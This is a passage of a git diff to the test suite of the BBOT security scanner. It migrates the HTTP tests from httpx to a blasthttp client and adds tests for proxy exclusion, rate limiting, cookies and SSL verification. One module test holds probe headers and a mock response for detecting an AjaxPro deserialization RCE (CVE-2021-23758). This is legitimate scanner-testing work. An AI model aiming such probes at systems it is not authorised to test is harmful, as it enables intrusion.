+    blasthttp_mock.add_response(url=url, text="hello\nworld")
     response = await scan.helpers.web.request(url)
     j = scan.helpers.response_to_json(response)
     assert j["status_code"] == 200
@@ -155,6 +171,7 @@ async def test_web_helpers(bbot_scanner, bbot_httpserver, httpx_mock):
     scan2 = bbot_scanner("127.0.0.1")
 
     await scan1._prep()
+    await scan2._prep()
     module = scan1.modules["ipneighbor"]
 
     web_config = CORE.config.get("web", {})
@@ -289,7 +306,8 @@ async def test_web_interactsh(bbot_scanner, bbot_httpserver):
     async_correct_url = False
 
     scan1 = bbot_scanner("8.8.8.8")
-    scan1.status = "RUNNING"
+    await scan1._prep()
+    await scan1._set_status("RUNNING")
 
     interactsh_client = scan1.helpers.interactsh(poll_interval=3)
     interactsh_client2 = scan1.helpers.interactsh(poll_interval=3)
@@ -342,45 +360,59 @@ def sync_callback(data):
 
 
 @pytest.mark.asyncio
-async def test_web_curl(bbot_scanner, bbot_httpserver):
+async def test_web_request_target(bbot_scanner, bbot_httpserver):
+    """Test request() with request_target, ignore_bbot_global_settings, and other advanced kwargs."""
     scan = bbot_scanner("127.0.0.1")
+    await scan._prep()
     helpers = scan.helpers
-    url = bbot_httpserver.url_for("/curl")
-    bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep")
-    bbot_httpserver.expect_request(uri="/index.html").respond_with_data("curl_yep_index")
-    assert await helpers.curl(url=url) == "curl_yep"
-    assert await helpers.curl(url=url, ignore_bbot_global_settings=True) == "curl_yep"
-    assert (await helpers.curl(url=url, head_mode=True)).startswith("HTTP/")
-    assert await helpers.curl(url=url, raw_body="body") == "curl_yep"
-    assert (
-        await helpers.curl(
-            url=url,
-            raw_path=True,
-            headers={"test": "test", "test2": ["test2"]},
-            ignore_bbot_global_settings=False,
-            post_data={"test": "test"},
-            method="POST",
-            cookies={"test": "test"},
-            path_override="/index.html",
-        )
-        == "curl_yep_index"
+    url = bbot_httpserver.url_for("/test-advanced")
+    bbot_httpserver.expect_request(uri="/test-advanced").respond_with_data("advanced_yep")
+    bbot_httpserver.expect_request(uri="/index.html").respond_with_data("index_yep")
+
+    # basic request
+    r = await helpers.request(url=url)
+    assert r.text == "advanced_yep"
+
+    # ignore_bbot_global_settings
+    r = await helpers.request(url=url, ignore_bbot_global_settings=True)
+    assert r.text == "advanced_yep"
+
+    # HEAD method
+    r = await helpers.request(url=url, method="HEAD")
+    assert r.status_code == 200
+
+    # body kwarg
+    r = await helpers.request(url=url, body="body")
+    assert r.text == "advanced_yep"
+
+    # request_target overrides the HTTP request-line path
+    r = await helpers.request(
+        url=url,
+        headers={"test": "test", "test2": ["test2"]},
+        data={"test": "test"},
+        method="POST",
+        cookies={"test": "test"},
+        request_target="/index.html",
     )
-    # test custom headers
-    bbot_httpserver.expect_request("/test-custom-http-headers-curl", headers={"test": "header"}).respond_with_data(
-        "curl_yep_headers"
+    assert r.text == "index_yep"
+
+    # test custom headers from scan config
+    bbot_httpserver.expect_request("/test-custom-http-headers-advanced", headers={"test": "header"}).respond_with_data(
+        "headers_yep"
     )
-    headers_url = bbot_httpserver.url_for("/test-custom-http-headers-curl")
-    curl_result = await helpers.curl(url=headers_url)
-    assert curl_result == "curl_yep_headers"
+    headers_url = bbot_httpserver.url_for("/test-custom-http-headers-advanced")
+    r = await helpers.request(url=headers_url)
+    assert r.text == "headers_yep"
 
     await scan._cleanup()
 
 
 @pytest.mark.asyncio
-async def test_web_http_compare(httpx_mock, bbot_scanner):
+async def test_web_http_compare(blasthttp_mock, bbot_scanner):
     scan = bbot_scanner()
+    await scan._prep()
     helpers = scan.helpers
-    httpx_mock.add_response(url=re.compile(r"http://www\.example\.com.*"), text="wat")
+    blasthttp_mock.add_response(url=re.compile(r"http://www\.example\.com.*"), text="wat")
     compare_helper = helpers.http_compare("http://www.example.com")
     await compare_helper.compare("http://www.example.com", headers={"asdf": "asdf"})
     await compare_helper.compare("http://www.example.com", cookies={"asdf": "asdf"})
@@ -402,6 +434,7 @@ async def test_http_proxy(bbot_scanner, bbot_httpserver, proxy_server):
     proxy_address = f"http://127.0.0.1:{proxy_server.server_address[1]}"
 
     scan = bbot_scanner("127.0.0.1", config={"web": {"http_proxy": proxy_address}})
+    await scan._prep()
 
     assert len(proxy_server.RequestHandlerClass.urls) == 0
 
@@ -417,6 +450,70 @@ async def test_http_proxy(bbot_scanner, bbot_httpserver, proxy_server):
     await scan._cleanup()
 
 
+@pytest.mark.asyncio
+async def test_http_proxy_exclude(bbot_scanner, bbot_httpserver, proxy_server):
+    """Verify that requests to excluded hosts bypass the proxy."""
+    endpoint = "/test_http_proxy_exclude"
+    url = bbot_httpserver.url_for(endpoint)
+    bbot_httpserver.expect_request(uri=endpoint).respond_with_data("proxy_exclude_works")
+
+    proxy_address = f"http://127.0.0.1:{proxy_server.server_address[1]}"
+    # Exclude 127.0.0.1 from proxy
+    scan = bbot_scanner(
+        "127.0.0.1",
+        config={
+            "web": {
+                "http_proxy": proxy_address,
+                "http_proxy_exclude": ["127.0.0.1"],
+            }
+        },
+    )
+
+    await scan._prep()
+
+    proxy_server.RequestHandlerClass.urls.clear()
+    r = await scan.helpers.request(url)
+
+    # Request should NOT go through proxy
+    assert len(proxy_server.RequestHandlerClass.urls) == 0, "Request should have bypassed proxy but went through it"
+    assert r.status_code == 200 and r.text == "proxy_exclude_works"
+
+    await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_http_proxy_exclude_passthrough(bbot_scanner, bbot_httpserver, proxy_server):
+    """Verify that non-excluded hosts still go through the proxy."""
+    endpoint = "/test_proxy_passthrough"
+    url = bbot_httpserver.url_for(endpoint)
+    bbot_httpserver.expect_request(uri=endpoint).respond_with_data("passthrough_works")
+
+    proxy_address = f"http://127.0.0.1:{proxy_server.server_address[1]}"
+    # Exclude a different host, not the one we're requesting
+    scan = bbot_scanner(
+        "127.0.0.1",
+        config={
+            "web": {
+                "http_proxy": proxy_address,
+                "http_proxy_exclude": ["10.0.0.0/8"],
+            }
+        },
+    )
+
+    await scan._prep()
+
+    proxy_server.RequestHandlerClass.urls.clear()
+    r = await scan.helpers.request(url)
+
+    # Request SHOULD go through proxy (127.0.0.1 not in exclusion list)
+    assert len(proxy_server.RequestHandlerClass.urls) == 1, (
+        f"Request to {url} should have gone through proxy but didn't"
+    )
+    assert r.status_code == 200 and r.text == "passthrough_works"
+
+    await scan._cleanup()
+
+
 @pytest.mark.asyncio
 async def test_http_ssl(bbot_scanner, bbot_httpserver_ssl):
     endpoint = "/test_http_ssl"
@@ -424,58 +521,70 @@ async def test_http_ssl(bbot_scanner, bbot_httpserver_ssl):
     # test user agent + custom headers
     bbot_httpserver_ssl.expect_request(uri=endpoint).respond_with_data("test_http_ssl_yep")
 
-    scan1 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify": True, "debug": True}})
-    scan2 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify": False, "debug": True}})
+    # ssl_verify_target controls target-directed traffic
+    scan1 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify_target": True, "debug": True}})
+    scan2 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify_target": False, "debug": True}})
+    await scan1._prep()
+    await scan2._prep()
 
     r1 = await scan1.helpers.request(url)
-    assert r1 is None, "Request to self-signed SSL server went through even with ssl_verify=True"
+    assert r1 is None, "Request to self-signed SSL server went through even with ssl_verify_target=True"
     r2 = await scan2.helpers.request(url)
-    assert r2 is not None, "Request to self-signed SSL server failed even with ssl_verify=False"
+    assert r2 is not None, "Request to self-signed SSL server failed even with ssl_verify_target=False"
     assert r2.status_code == 200 and r2.text == "test_http_ssl_yep"
 
     await scan1._cleanup()
     await scan2._cleanup()
 
+    # ssl_verify per-request override (used by infrastructure callers like api_request/download)
+    scan3 = bbot_scanner("127.0.0.1", config={"web": {"ssl_verify_target": True, "debug": True}})
+    await scan3._prep()
+    r3 = await scan3.helpers.request(url, ssl_verify=False)
+    assert r3 is not None, "Per-request ssl_verify=False override did not bypass verification"
+    assert r3.status_code == 200 and r3.text == "test_http_ssl_yep"
+    await scan3._cleanup()
+
 
 @pytest.mark.asyncio
-async def test_web_cookies(bbot_scanner, httpx_mock):
-    import httpx
-    from bbot.core.helpers.web.client import BBOTAsyncClient
+async def test_web_cookies(bbot_scanner, bbot_httpserver):
+    from werkzeug.wrappers import Response
 
-    # make sure cookies work when enabled
-    httpx_mock.add_response(url="http://www.evilcorp.com/cookies", headers=[("set-cookie", "wat=asdf; path=/")])
-    scan = bbot_scanner()
+    def set_cookie_handler(request):
+        resp = Response("ok")
+        resp.set_cookie("wat", "asdf", path="/")
+        return resp
 
-    client = BBOTAsyncClient(persist_cookies=True, _config=scan.config, _target=scan.target)
-    r = await client.get(url="http://www.evilcorp.com/cookies")
-    assert r.cookies["wat"] == "asdf"
-    httpx_mock.add_response(url="http://www.evilcorp.com/cookies/test", match_headers={"Cookie": "wat=asdf"})
-    r = await client.get(url="http://www.evilcorp.com/cookies/test")
-    # make sure we can manually send cookies
-    httpx_mock.add_response(url="http://www.evilcorp.com/cookies/test2", match_headers={"Cookie": "asdf=wat"})
-    r = await scan.helpers.request(url="http://www.evilcorp.com/cookies/test2", cookies={"asdf": "wat"})
-    assert client.cookies["wat"] == "asdf"
+    def echo_cookies_handler(request):
+        cookies = request.cookies
+        cookie_str = "; ".join([f"{key}={value}" for key, value in cookies.items()])
+        return Response(f"Cookies: {cookie_str}")
 
-    await scan._cleanup()
+    bbot_httpserver.expect_request(uri="/setcookie").respond_with_handler(set_cookie_handler)
+    bbot_httpserver.expect_request(uri="/echocookie").respond_with_handler(echo_cookies_handler)
 
-    # make sure they don't when they're not
-    httpx_mock.add_response(url="http://www2.evilcorp.com/cookies", headers=[("set-cookie", "wats=fdsa; path=/")])
-    scan = bbot_scanner()
-    client2 = BBOTAsyncClient(persist_cookies=False, _config=scan.config, _target=scan.target)
-    r = await client2.get(url="http://www2.evilcorp.com/cookies")
-    # make sure we can access the cookies
-    assert "wats" in r.cookies
-    httpx_mock.add_response(url="http://www2.evilcorp.com/cookies/test", match_headers={"Cookie": "wats=fdsa"})
-    # but that they're not sent in the response
-    with pytest.raises(httpx.TimeoutException):
-        r = await client2.get(url="http://www2.evilcorp.com/cookies/test")
-    # make sure cookies are sent
-    r = await client2.get(url="http://www2.evilcorp.com/cookies/test", cookies={"wats": "fdsa"})
-    assert r.status_code == 200
-    # make sure we can manually send cookies
-    httpx_mock.add_response(url="http://www2.evilcorp.com/cookies/test2", match_headers={"Cookie": "fdsa=wats"})
-    r = await client2.get(url="http://www2.evilcorp.com/cookies/test2", cookies={"fdsa": "wats"})
-    assert not client2.cookies
+    scan = bbot_scanner("127.0.0.1")
+    await scan._prep()
+
+    # make sure Set-Cookie headers are parsed in the response
+    r = await scan.helpers.request(bbot_httpserver.url_for("/setcookie"))
+    assert r is not None
+    assert r.cookies.get("wat") == "asdf"
+
+    # blasthttp does NOT persist cookies across requests (stateless by design)
+    r2 = await scan.helpers.request(bbot_httpserver.url_for("/echocookie"))
+    assert r2 is not None
+    assert "wat=asdf" not in r2.text
+
+    # but manually sending cookies should work
+    r3 = await scan.helpers.request(bbot_httpserver.url_for("/echocookie"), cookies={"wat": "asdf"})
+    assert r3 is not None
+    assert "wat=asdf" in r3.text
+
+    # make sure multiple cookies are sent
+    r4 = await scan.helpers.request(bbot_httpserver.url_for("/echocookie"), cookies={"foo": "bar", "baz": "qux"})
+    assert r4 is not None
+    assert "foo=bar" in r4.text
+    assert "baz=qux" in r4.text
 
     await scan._cleanup()
 
@@ -493,6 +602,7 @@ def echo_cookies_handler(request):
 
     bbot_httpserver.expect_request(uri=endpoint).respond_with_handler(echo_cookies_handler)
     scan1 = bbot_scanner("127.0.0.1", config={"web": {"debug": True}})
+    await scan1._prep()
     r1 = await scan1.helpers.request(url, cookies={"foo": "bar"})
 
     assert r1 is not None, "Request to self-signed SSL server went through even with ssl_verify=True"
@@ -528,6 +638,7 @@ def handler(request):
     bbot_httpserver.expect_request(uri=endpoint).respond_with_handler(handler)
 
     scan = bbot_scanner("127.0.0.1")
+    await scan._prep()
     module = BaseModule(scan)
     module.api_key = ["k1", "k2"]
 
@@ -544,3 +655,46 @@ def handler(request):
     assert seen_auth == ["Bearer k1", "Bearer k1", "Bearer k2"]
 
     await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_is_http_wildcard_host(bbot_scanner):
+    """Test is_http_wildcard_host caching, retry, and return value semantics."""
+    scan = bbot_scanner()
+    await scan._prep()
+
+    web = scan.helpers.web
+    probe_results = []
+
+    async def mock_probe(scheme, host, port):
+        return probe_results.pop(0)
+
+    web._probe_wildcard_host = mock_probe
+
+    # wildcard host: probe returns a truthy sentinel
+    probe_results.append("WILDCARD_CMP")
+    result = await web.is_http_wildcard_host("https", "spa.example.com", 443)
+    assert result == "WILDCARD_CMP"
+    # cached: no more probe calls needed
+    result2 = await web.is_http_wildcard_host("https", "spa.example.com", 443)
+    assert result2 == "WILDCARD_CMP"
+
+    # non-wildcard host: probe returns False
+    probe_results.append(False)
+    result = await web.is_http_wildcard_host("https", "normal.example.com", 443)
+    assert result is False
+
+    # retry once on first failure, succeed on second
+    probe_results.extend(["retry", "WILDCARD_RETRY"])
+    result = await web.is_http_wildcard_host("https", "flaky.example.com", 443)
+    assert result == "WILDCARD_RETRY"
+
+    # both attempts fail: caches None
+    probe_results.extend(["retry", "retry"])
+    result = await web.is_http_wildcard_host("https", "down.example.com", 443)
+    assert result is None
+    # cached as None
+    result2 = await web.is_http_wildcard_host("https", "down.example.com", 443)
+    assert result2 is None
+
+    await scan._cleanup()
diff --git a/bbot/test/test_step_1/test_web_rate_limit.py b/bbot/test/test_step_1/test_web_rate_limit.py
new file mode 100644
index 0000000000..fc52290f23
--- /dev/null
+++ b/bbot/test/test_step_1/test_web_rate_limit.py
@@ -0,0 +1,90 @@
+import time
+
+from ..bbot_fixtures import *
+
+
+@pytest.mark.asyncio
+async def test_web_rate_limit(bbot_scanner, bbot_httpserver):
+    """Verify that http_rate_limit throttles requests to the configured RPS."""
+    bbot_httpserver.expect_request(uri="/rate_limit_test").respond_with_data("ok")
+
+    # 10 requests per second = ~100ms between requests
+    rps = 10
+    num_requests = 20
+    scan = bbot_scanner("127.0.0.1", config={"web": {"http_rate_limit": rps}})
+    await scan._prep()
+
+    # verify the rate limit was applied to the blasthttp client
+    assert scan.helpers.web.client is scan.helpers.blasthttp
+
+    url = bbot_httpserver.url_for("/rate_limit_test")
+    request_times = []
+    for _ in range(num_requests):
+        r = await scan.helpers.request(url)
+        request_times.append(time.monotonic())
+        assert r.status_code == 200
+
+    elapsed = request_times[-1] - request_times[0]
+    # at 10 rps, 20 requests should take at least ~1.9 seconds
+    # (19 intervals at 100ms each)
+    # use a conservative lower bound to avoid flakiness
+    min_expected = (num_requests - 1) / rps * 0.7
+    assert elapsed >= min_expected, (
+        f"Rate limiting not working: {num_requests} requests completed in {elapsed:.2f}s "
+        f"(expected >= {min_expected:.2f}s at {rps} rps)"
+    )
+
+    await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_web_no_rate_limit(bbot_scanner, bbot_httpserver):
+    """Verify that with no rate limit (default), requests are not throttled."""
+    bbot_httpserver.expect_request(uri="/no_rate_limit_test").respond_with_data("ok")
+
+    num_requests = 20
+    scan = bbot_scanner("127.0.0.1")
+    await scan._prep()
+
+    url = bbot_httpserver.url_for("/no_rate_limit_test")
+    request_times = []
+    for _ in range(num_requests):
+        r = await scan.helpers.request(url)
+        request_times.append(time.monotonic())
+        assert r.status_code == 200
+
+    elapsed = request_times[-1] - request_times[0]
+    # without rate limiting, 20 requests to localhost should complete well under 2 seconds
+    assert elapsed < 2.0, f"Requests unexpectedly slow without rate limiting: {elapsed:.2f}s"
+
+    await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_batch_rate_limit_min_wins(bbot_scanner):
+    """When both a global and per-call rate limit are set, the more restrictive one should win.
+
+    This tests blasthttp's min(global, per_call) behavior for request_batch.
+    """
+    import blasthttp
+    import time
+
+    # Set a lenient global rate (100 rps) on the client
+    client = blasthttp.BlastHTTP()
+    client.set_rate_limit(100.0)
+
+    # Build 5 dummy configs (they'll fail to connect, but we only care about dispatch timing)
+    configs = [blasthttp.BatchConfig(f"http://127.0.0.1:1/{i}", timeout=1, retries=0) for i in range(5)]
+
+    # Call with a more restrictive per-call rate (10 rps)
+    # If min() works, dispatch should be paced at 10 rps (~400ms for 5 requests)
+    # If global wins, dispatch would be at 100 rps (~40ms for 5 requests)
+    start = time.monotonic()
+    await client.request_batch(configs, concurrency=50, rate_limit=10.0)
+    elapsed = time.monotonic() - start
+
+    # 5 requests at 10 rps = 4 intervals × 100ms = ~400ms minimum
+    assert elapsed >= 0.3, (
+        f"Per-call rate limit (10 rps) should win over global (100 rps), "
+        f"but batch completed in {elapsed:.3f}s (expected >= 0.3s)"
+    )
diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py
index 26bd0b7995..2c55ad6724 100644
--- a/bbot/test/test_step_2/module_tests/base.py
+++ b/bbot/test/test_step_2/module_tests/base.py
@@ -2,10 +2,10 @@
 import asyncio
 import logging
 import pytest_asyncio
-from omegaconf import OmegaConf
 
 from ...bbot_fixtures import *
 from bbot.scanner import Scanner
+from bbot.core.config.merge import deep_merge
 from bbot.core.helpers.misc import rand_string
 
 log = logging.getLogger("bbot.test.modules")
@@ -15,7 +15,7 @@ class ModuleTestBase:
     targets = ["blacklanternsecurity.com"]
     scan_name = None
     blacklist = None
-    whitelist = None
+    seeds = None
     module_name = None
     config_overrides = {}
     modules_overrides = None
@@ -25,15 +25,15 @@ class ModuleTestBase:
 
     class ModuleTest:
         def __init__(
-            self, module_test_base, httpx_mock, httpserver, httpserver_ssl, monkeypatch, request, caplog, capsys
+            self, module_test_base, blasthttp_mock, httpserver, httpserver_ssl, monkeypatch, request, caplog, capsys
         ):
             self.name = module_test_base.name
-            self.config = OmegaConf.merge(CORE.config, OmegaConf.create(module_test_base.config_overrides))
+            self.config = deep_merge(dict(CORE.custom_config), dict(module_test_base.config_overrides))
 
             self.caplog = caplog
             self.capsys = capsys
 
-            self.httpx_mock = httpx_mock
+            self.blasthttp_mock = blasthttp_mock
             self.httpserver = httpserver
             self.httpserver_ssl = httpserver_ssl
             self.monkeypatch = monkeypatch
@@ -41,9 +41,8 @@ def __init__(
             self.preloaded = DEFAULT_PRESET.module_loader.preloaded()
 
             # handle output, internal module types
-            output_modules = None
+            output_modules = []
             modules = list(module_test_base.modules)
-            output_modules = ["python"]
             for module in list(modules):
                 module_type = self.preloaded[module]["type"]
                 if module_type in ("internal", "output"):
@@ -51,15 +50,20 @@ def __init__(
                     if module_type == "output":
                         output_modules.append(module)
                     elif module_type == "internal" and not module == "dnsresolve":
-                        self.config = OmegaConf.merge(self.config, {module: True})
+                        self.config = deep_merge(self.config, {module: True})
+
+            seeds = module_test_base.seeds or None
+
+            default_output_modules = [m for m in ("csv", "json", "txt") if m not in output_modules]
 
             self.scan = Scanner(
                 *module_test_base.targets,
                 modules=modules,
                 output_modules=output_modules,
+                exclude_output_modules=default_output_modules,
                 scan_name=module_test_base._scan_name,
                 config=self.config,
-                whitelist=module_test_base.whitelist,
+                seeds=seeds,
                 blacklist=module_test_base.blacklist,
                 force_start=getattr(module_test_base, "force_start", False),
             )
@@ -74,10 +78,10 @@ def set_expect_requests(self, expect_args={}, respond_args={}):
         def set_expect_requests_handler(self, expect_args=None, request_handler=None):
             self.httpserver.expect_request(expect_args).respond_with_handler(request_handler)
 
-        async def mock_dns(self, mock_data, custom_lookup_fn=None, scan=None):
+        async def mock_dns(self, mock_data, scan=None):
             if scan is None:
                 scan = self.scan
-            await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup_fn)
+            await scan.helpers.dns._mock_dns(mock_data)
 
         def mock_interactsh(self, name):
             from ...conftest import Interactsh_mock
@@ -90,7 +94,7 @@ def module(self):
 
     @pytest_asyncio.fixture
     async def module_test(
-        self, httpx_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys
+        self, blasthttp_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys
     ):
         # If a test uses docker, we can't run it in the distro tests
         if os.getenv("BBOT_DISTRO_TESTS") and self.skip_distro_tests:
@@ -98,20 +102,31 @@ async def module_test(
 
         self.log.info(f"Starting {self.name} module test")
         module_test = self.ModuleTest(
-            self, httpx_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys
+            self, blasthttp_mock, bbot_httpserver, bbot_httpserver_ssl, monkeypatch, request, caplog, capsys
         )
-        self.log.debug("Mocking DNS")
-        await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.88"]}})
         self.log.debug("Executing setup_before_prep()")
         await self.setup_before_prep(module_test)
         self.log.debug("Executing scan._prep()")
         await module_test.scan._prep()
+        self.log.debug("Mocking DNS")
+        await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.88"]}})
+        self.log.debug("Disabling HTTP wildcard detection for test")
+        module_test.scan.helpers.web.is_http_wildcard_host = self._mock_http_wildcard
         self.log.debug("Executing setup_after_prep()")
         await self.setup_after_prep(module_test)
         self.log.debug("Starting scan")
         await self._execute_scan(module_test)
         self.log.debug(f"Finished {module_test.name} module test")
         yield module_test
+        # Cancel any orphaned async tasks left by the test (e.g. pymongo, aio_pika background threads).
+        # These persist on the session-scoped event loop and can block subsequent test fixtures.
+        current_task = asyncio.current_task()
+        tasks = [t for t in asyncio.all_tasks() if t != current_task and not t.done()]
+        if tasks:
+            self.log.debug(f"Cancelling {len(tasks)} orphaned tasks after {self.name}")
+            for t in tasks:
+                t.cancel()
+            await asyncio.gather(*tasks, return_exceptions=True)
 
     async def _execute_scan(self, module_test):
         """Execute the scan and collect events. Can be overridden by benchmark classes."""
@@ -158,3 +173,23 @@ async def setup_before_prep(self, module_test):
 
     async def setup_after_prep(self, module_test):
         pass
+
+    @staticmethod
+    async def _mock_http_wildcard(*args, **kwargs):
+        return False
+
+    async def wait_for_port_open(self, port):
+        while not await self.is_port_open("localhost", port):
+            self.log.verbose(f"Waiting for port {port} to be open...")
+            await asyncio.sleep(0.5)
+        # allow an extra second for things to settle
+        await asyncio.sleep(1)
+
+    async def is_port_open(self, host, port):
+        try:
+            reader, writer = await asyncio.open_connection(host, port)
+            writer.close()
+            await writer.wait_closed()
+            return True
+        except (ConnectionRefusedError, OSError):
+            return False
diff --git a/bbot/test/test_step_2/module_tests/test_module_affiliates.py b/bbot/test/test_step_2/module_tests/test_module_affiliates.py
index 68398ca480..820ef306fc 100644
--- a/bbot/test/test_step_2/module_tests/test_module_affiliates.py
+++ b/bbot/test/test_step_2/module_tests/test_module_affiliates.py
@@ -3,9 +3,9 @@
 
 class TestAffiliates(ModuleTestBase):
     targets = ["8.8.8.8"]
-    config_overrides = {"dns": {"minimal": False}}
+    config_overrides = {"dns": {"minimal": False, "filter_ptrs": False}}
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         await module_test.mock_dns(
             {
                 "8.8.8.8.in-addr.arpa": {"PTR": ["dns.google"]},
diff --git a/bbot/test/test_step_2/module_tests/test_module_aggregate.py b/bbot/test/test_step_2/module_tests/test_module_aggregate.py
index 583fcaec79..ba1d2edd8a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_aggregate.py
+++ b/bbot/test/test_step_2/module_tests/test_module_aggregate.py
@@ -4,7 +4,7 @@
 class TestAggregate(ModuleTestBase):
     config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 1}}
 
-    async def setup_before_prep(self, module_test):
+    async def setup_after_prep(self, module_test):
         await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["1.2.3.4"]}})
 
     def check(self, module_test, events):
diff --git a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py
index b917de42ca..21c44f8519 100644
--- a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py
+++ b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py
@@ -3,7 +3,7 @@
 
 class TestAjaxpro(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "ajaxpro"]
+    modules_overrides = ["http", "ajaxpro"]
     exploit_headers = {"X-Ajaxpro-Method": "AddItem", "Content-Type": "text/json; charset=UTF-8"}
     exploit_response = """
     null; r.error = {"Message":"Constructor on type 'AjaxPro.Services.ICartService' not found.","Type":"System.MissingMethodException"};/*
@@ -35,7 +35,7 @@ def check(self, module_test, events):
 
         for e in events:
             if (
-                e.type == "VULNERABILITY"
+                e.type == "FINDING"
                 and "Ajaxpro Deserialization RCE (CVE-2021-23758)" in e.data["description"]
                 and "http://127.0.0.1:8888/ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx"
                 in e.data["description"]
diff --git a/bbot/test/test_step_2/module_tests/test_module_anubisdb.py b/bbot/test/test_step_2/module_tests/test_module_anubisdb.py
index 7b1bc6659d..a9aff705e1 100644
--- a/bbot/test/test_step_2/module_tests/test_module_anubisdb.py
+++ b/bbot/test/test_step_2/module_tests/test_module_anubisdb.py
@@ -4,8 +4,8 @@
 class TestAnubisdb(ModuleTestBase):
     async def setup_after_prep(self, module_test):
         module_test.module.abort_if = lambda e: False
-        module_test.httpx_mock.add_response(
-            url="https://jldc.me/anubis/subdomains/blacklanternsecurity.com",
+        module_test.blasthttp_mock.add_response(
+            url="https://anubisdb.com/anubis/subdomains/blacklanternsecurity.com",
             json=["asdf.blacklanternsecurity.com", "zzzz.blacklanternsecurity.com"],
         )
 
diff --git a/bbot/test/test_step_2/module_tests/test_module_apkpure.py b/bbot/test/test_step_2/module_tests/test_module_apkpure.py
index 236eb943df..adc687a7b0 100644
--- a/bbot/test/test_step_2/module_tests/test_module_apkpure.py
+++ b/bbot/test/test_step_2/module_tests/test_module_apkpure.py
@@ -10,7 +10,7 @@ class TestAPKPure(ModuleTestBase):
 
     async def setup_after_prep(self, module_test):
         await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.99"]}})
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://play.google.com/store/search?q=blacklanternsecurity&c=apps",
             text="""<!DOCTYPE html>
             <html>
@@ -22,7 +22,7 @@ async def setup_after_prep(self, module_test):
             </body>
             </html>""",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://play.google.com/store/apps/details?id=com.bbot.test",
             text="""<!DOCTYPE html>
             <html>
@@ -36,7 +36,7 @@ async def setup_after_prep(self, module_test):
             </body>
             </html>""",
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://d.apkpure.com/b/XAPK/com.bbot.test?version=latest",
             content=self.apk_file,
             headers={
diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py
index fbd3558a43..4d5eaf8235 100644
--- a/bbot/test/test_step_2/module_tests/test_module_asn.py
+++ b/bbot/test/test_step_2/module_tests/test_module_asn.py
@@ -1,239 +1,82 @@
+from unittest.mock import AsyncMock, patch
+
 from .base import ModuleTestBase
 
 
-class TestASNBGPView(ModuleTestBase):
+class TestASNHelper(ModuleTestBase):
+    """Test ASN module with real asndb lookup against Google's 8.8.8.8 (AS15169)."""
+
     targets = ["8.8.8.8"]
     module_name = "asn"
-    config_overrides = {"scope": {"report_distance": 2}}
-
-    response_get_asn_bgpview = {
-        "status": "ok",
-        "status_message": "Query was successful",
-        "data": {
-            "ip": "8.8.8.8",
-            "ptr_record": "dns.google",
-            "prefixes": [
-                {
-                    "prefix": "8.8.8.0/24",
-                    "ip": "8.8.8.0",
-                    "cidr": 24,
-                    "asn": {"asn": 15169, "name": "GOOGLE", "description": "Google LLC", "country_code": "US"},
-                    "name": "LVLT-GOGL-8-8-8",
-                    "description": "Google LLC",
-                    "country_code": "US",
-                }
-            ],
-            "rir_allocation": {
-                "rir_name": "ARIN",
-                "country_code": None,
-                "ip": "8.0.0.0",
-                "cidr": 9,
-                "prefix": "8.0.0.0/9",
-                "date_allocated": "1992-12-01 00:00:00",
-                "allocation_status": "allocated",
-            },
-            "iana_assignment": {
-                "assignment_status": "legacy",
-                "description": "Administered by ARIN",
-                "whois_server": "whois.arin.net",
-                "date_assigned": None,
-            },
-            "maxmind": {"country_code": None, "city": None},
-        },
-        "@meta": {"time_zone": "UTC", "api_version": 1, "execution_time": "567.18 ms"},
-    }
-    response_get_emails_bgpview = {
-        "status": "ok",
-        "status_message": "Query was successful",
-        "data": {
-            "asn": 15169,
-            "name": "GOOGLE",
-            "description_short": "Google LLC",
-            "description_full": ["Google LLC"],
-            "country_code": "US",
-            "website": "https://about.google/intl/en/",
-            "email_contacts": ["network-abuse@google.com", "arin-contact@google.com"],
-            "abuse_contacts": ["network-abuse@google.com"],
-            "looking_glass": None,
-            "traffic_estimation": None,
-            "traffic_ratio": "Mostly Outbound",
-            "owner_address": ["1600 Amphitheatre Parkway", "Mountain View", "CA", "94043", "US"],
-            "rir_allocation": {
-                "rir_name": "ARIN",
-                "country_code": "US",
-                "date_allocated": "2000-03-30 00:00:00",
-                "allocation_status": "assigned",
-            },
-            "iana_assignment": {
-                "assignment_status": None,
-                "description": None,
-                "whois_server": None,
-                "date_assigned": None,
-            },
-            "date_updated": "2023-02-07 06:39:11",
-        },
-        "@meta": {"time_zone": "UTC", "api_version": 1, "execution_time": "56.55 ms"},
-    }
-
-    async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
